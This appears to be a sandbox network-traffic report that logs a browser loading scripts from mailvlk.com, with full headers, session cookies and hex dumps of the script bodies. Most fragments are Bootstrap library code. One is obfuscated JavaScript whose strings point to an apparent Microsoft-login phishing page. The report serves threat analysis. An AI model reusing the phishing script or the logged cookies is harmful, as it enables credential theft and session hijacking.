selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[^$]="+L+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 61 Data Ascii: urn!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocumentPosition(a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49805	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:34 UTC	1138	OUT	GET /boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:34 UTC	669	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:34 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5JU349Q4KufXc6BBxSNq3wvJ9sdGs9Fhd09eBY%2B%2F%2FDM%2Fax2tcDS%2F1wfvk8OJ49FJyC3KKKvu4crnZMTrPAcYSLZaKeQKV%2B7WvLWsvcnMxze6A7wOTRSjsnCfhHGDTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796875e8aeb7bbc-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:34 UTC	700	IN	Data Raw: 37 64 31 35 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7d15/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 65 26 26 69 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 65 29 2c 6e 26 26 69 28 74 2c 6e 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 72 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6f 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 6f 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: eturn e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 3b 29 3b 72 65 74 75 72 6e 20 74 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 65 26 26 22 23 22 21 3d 3d 65 7c 7c 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 Data Ascii: ,document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e\|\|(e=t.getAttribute("href")\|\|"");try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:f
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 74 26 26 28 65 3d 74 68 69 73 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 28 74 29 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 6f 73 65 45 76 65 6e 74 28 65 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 74 68 69 73 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 28 65 29 7d 2c 74 2e 64 69 73 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6f 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 52 6f 6f 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 65 26 26 Data Ascii: t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()\|\|this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=Fn.getSelectorFromElement(t),n=!1;return e&&
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 2e 61 63 74 69 76 65 22 2c 4e 3d 22 2e 62 74 6e 22 2c 4f 3d 7b 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 79 2b 45 2c 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 3a 28 53 3d 22 66 6f 63 75 73 22 29 2b 79 2b 45 2b 22 20 62 6c 75 72 22 2b 79 2b 45 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 6e 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 21 30 2c 65 3d 21 30 2c 6e 3d 6d 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 6c 6f 73 65 73 74 28 41 29 5b 30 5d 3b 69 66 28 6e 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: .active",N=".btn",O={CLICK_DATA_API:"click"+y+E,FOCUS_BLUR_DATA_API:(S="focus")+y+E+" blur"+y+E},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(A)[0];if(n){var i=this._eleme
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 2e 66 6e 5b 70 5d 3d 43 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6b 29 2c 51 6e 3d 28 6a 3d 22 63 61 72 6f 75 73 65 6c 22 2c 4c 3d 22 2e 22 2b 28 48 3d 22 62 73 2e 63 61 72 6f 75 73 65 6c 22 29 2c 52 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 78 3d 28 50 3d 65 29 2e 66 6e 5b 6a 5d 2c 57 3d 7b 69 6e 74 65 72 76 61 6c 3a 35 65 33 2c 6b 65 79 62 6f 61 72 64 3a 21 30 2c 73 6c 69 64 65 3a 21 31 2c 70 61 75 73 65 3a 22 68 6f 76 65 72 22 2c 77 72 61 70 3a 21 30 7d 2c 55 3d 7b 69 6e 74 65 72 76 61 6c 3a 22 28 6e 75 6d 62 65 72 7c 62 6f 6f 6c 65 61 6e 29 22 2c 6b 65 79 62 6f 61 72 64 3a 22 62 6f 6f 6c 65 61 6e 22 2c 73 6c 69 64 65 3a 22 28 62 6f 6f 6c 65 61 6e 7c 73 Data Ascii: onflict=function(){return m.fn[p]=C,k._jQueryInterface},k),Qn=(j="carousel",L="."+(H="bs.carousel"),R=".data-api",x=(P=e).fn[j],W={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},U={interval:"(number\|boolean)",keyboard:"boolean",slide:"(boolean\|s
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 46 29 7d 2c 74 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 30 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 74 29 26 26 28 46 6e 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 74 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 Data Ascii: isSliding\|\|this._slide(F)},t.pause=function(t){t\|\|(this._isPaused=!0),this._element.querySelector(et)&&(Fn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t\|\|(this._isPaused=!1),th
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 45 4c 45 41 56 45 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 54 4f 55 43 48 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 61 75 73 65 28 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 29 2c 65 2e 74 6f 75 63 68 54 69 6d 65 6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 79 63 6c 65 28 74 29 7d 2c 35 30 30 2b 65 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 Data Ascii: ELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.inter
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 65 74 49 74 65 6d 49 6e 64 65 78 28 73 29 2c 6c 3d 65 7c 7c 73 26 26 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 28 74 2c 73 29 2c 63 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 6c 29 2c 68 3d 42 6f 6f 6c 65 61 6e 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 3b 69 66 28 74 3d 3d 3d 71 3f 28 6e 3d 4a 2c 69 3d 5a 2c 72 3d 4b 29 3a 28 6e 3d 7a 2c 69 3d 47 2c 72 3d 4d 29 2c 6c 26 26 50 28 6c 29 2e 68 61 73 43 6c 61 73 73 28 56 29 29 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 3b 65 6c 73 65 20 69 66 28 21 74 68 69 73 2e 5f 74 72 69 67 67 65 72 53 6c 69 64 65 45 76 65 6e 74 28 6c 2c 72 29 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 26 26 73 26 26 6c 29 7b 74 68 69 73 2e 5f 69 73 53 6c Data Ascii: etItemIndex(s),l=e\|\|s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),h=Boolean(this._interval);if(t===q?(n=J,i=Z,r=K):(n=z,i=G,r=M),l&&P(l).hasClass(V))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSl
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 28 29 2c 50 28 74 68 69 73 29 2e 64 61 74 61 28 29 29 2c 72 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6c 69 64 65 2d 74 6f 22 29 3b 72 26 26 28 69 2e 69 6e 74 65 72 76 61 6c 3d 21 31 29 2c 6f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 50 28 6e 29 2c 69 29 2c 72 26 26 50 28 6e 29 2e 64 61 74 61 28 48 29 2e 74 6f 28 72 29 2c 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 7d 7d 2c 73 28 6f 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 7d 7d 5d 29 2c 6f 7d 28 29 2c Data Ascii: (),P(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(P(n),i),r&&P(n).data(H).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get:function(){return W}}]),o}(),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	49806	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:34 UTC	1136	OUT	GET /js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:34 UTC	675	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:34 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F9YKUtY9%2BVhN8rUJ2BH5%2Fyv0LJVUh1lH1SrNSOi2YNd5ve%2BABImG%2FQw04Cw2Zrku8slo%2FyLEBom8rQzS9%2FWHW8XWmNEuBFQ%2BtQvYzu8G6L8HFPGPmc%2Ff8unnz9he3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796875e8f262f41-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:34 UTC	694	IN	Data Raw: 31 62 38 33 0d 0a 76 61 72 20 5f 30 78 32 32 64 35 62 34 3d 5f 30 78 65 39 33 36 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 7b 76 61 72 20 5f 30 78 35 61 66 63 32 39 3d 5f 30 78 32 65 38 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 65 39 33 36 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 38 30 33 34 2c 5f 30 78 31 36 34 39 61 66 29 7b 5f 30 78 35 65 38 30 33 34 3d 5f 30 78 35 65 38 30 33 34 2d 30 78 31 32 64 3b 76 61 72 20 5f 30 78 34 31 62 66 65 38 3d 5f 30 78 35 61 66 63 32 39 5b 5f 30 78 35 65 38 30 33 34 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 31 62 66 65 38 3b 7d 2c 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1b83var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 29 29 3b 7d 7d 7d 28 5f 30 78 32 65 38 39 2c 30 78 36 32 62 30 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 65 38 39 28 29 7b 76 61 72 20 5f 30 78 33 35 37 34 33 62 3d 5b 27 6c 6f 67 27 2c 27 75 6e 64 65 72 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 64 69 73 61 62 6c 65 64 27 2c 27 73 65 61 72 63 68 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 2c 27 3c 62 72 2f 3e 27 2c 27 65 61 63 68 27 2c 27 6a 73 6f 6e 27 2c 27 74 72 61 63 65 27 2c 27 73 74 79 6c 65 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 6e 6f 6e 65 27 2c 27 69 30 31 31 36 27 2c 27 76 61 6c 75 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 72 65 6d 6f 76 65 41 Data Ascii: ));}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeA
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 36 3b 69 66 28 5f 30 78 31 31 32 64 61 66 29 7b 76 61 72 20 5f 30 78 33 39 30 31 65 35 3d 5f 30 78 31 31 32 64 61 66 5b 5f 30 78 31 32 66 34 64 38 28 30 78 31 35 38 29 5d 28 5f 30 78 32 38 31 64 34 34 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 5f 30 78 31 31 32 64 61 66 3d 6e 75 6c 6c 2c 5f 30 78 33 39 30 31 65 35 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 5f 30 78 32 62 38 37 64 62 3d 21 5b 5d 2c 5f 30 78 33 63 66 65 63 39 3b 7d 3b 7d 28 29 29 2c 5f 30 78 34 62 39 62 61 35 3d 5f 30 78 64 62 31 63 65 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 38 38 32 35 33 3d 5f 30 78 65 39 33 36 3b 72 65 74 75 72 6e 20 5f 30 78 34 62 39 62 61 35 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 33 31 Data Ascii: 6;if(_0x112daf){var _0x3901e5=_0x112daf[_0x12f4d8(0x158)](_0x281d44,arguments);return _0x112daf=null,_0x3901e5;}}:function(){};return _0x2b87db=![],_0x3cfec9;};}()),_0x4b9ba5=_0xdb1cec(this,function(){var _0x488253=_0xe936;return _0x4b9ba5[_0x488253(0x131
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 63 64 66 39 31 5d 7c 7c 5f 30 78 33 61 65 62 32 61 3b 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 38 29 5d 3d 5f 30 78 31 36 34 39 61 66 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 31 36 34 39 61 66 29 2c 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 3d 5f 30 78 34 31 65 35 39 30 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 34 31 65 35 39 30 29 2c 5f 30 78 35 31 36 64 37 64 5b 5f 30 78 31 63 64 66 39 31 5d 3d 5f 30 78 33 61 65 62 32 61 3b 7d 7d 29 3b 5f 30 78 35 65 38 30 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 73 6c 65 65 70 28 5f 30 78 34 31 35 62 63 31 29 7b 76 61 72 20 5f 30 78 31 35 35 30 61 Data Ascii: cdf91]\|\|_0x3aeb2a;_0x3aeb2a[_0x3947f6(0x138)]=_0x1649af[_0x3947f6(0x15f)](_0x1649af),_0x3aeb2a[_0x3947f6(0x131)]=_0x41e590[_0x3947f6(0x131)][_0x3947f6(0x15f)](_0x41e590),_0x516d7d[_0x1cdf91]=_0x3aeb2a;}});_0x5e8034();function sleep(_0x415bc1){var _0x1550a
2024-04-24 13:44:34 UTC	1369	IN	Data Raw: 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 35 32 29 29 2c 5f 30 78 34 62 39 38 35 63 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 33 29 29 3b 70 72 6f 67 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 37 31 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 66 29 29 2c 70 72 6f 67 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 35 29 29 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 30 29 5d 3d 27 31 30 27 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 Data Ascii: 0x367cb5(0x146)](_0x367cb5(0x152)),_0x4b985c=document[_0x367cb5(0x146)](_0x367cb5(0x133));prog=document[_0x367cb5(0x171)](_0x367cb5(0x13f)),prog[_0x367cb5(0x166)](_0x367cb5(0x165)),_0x261182[_0x367cb5(0x145)][_0x367cb5(0x130)]='10',_0x261182[_0x367cb5(0x1
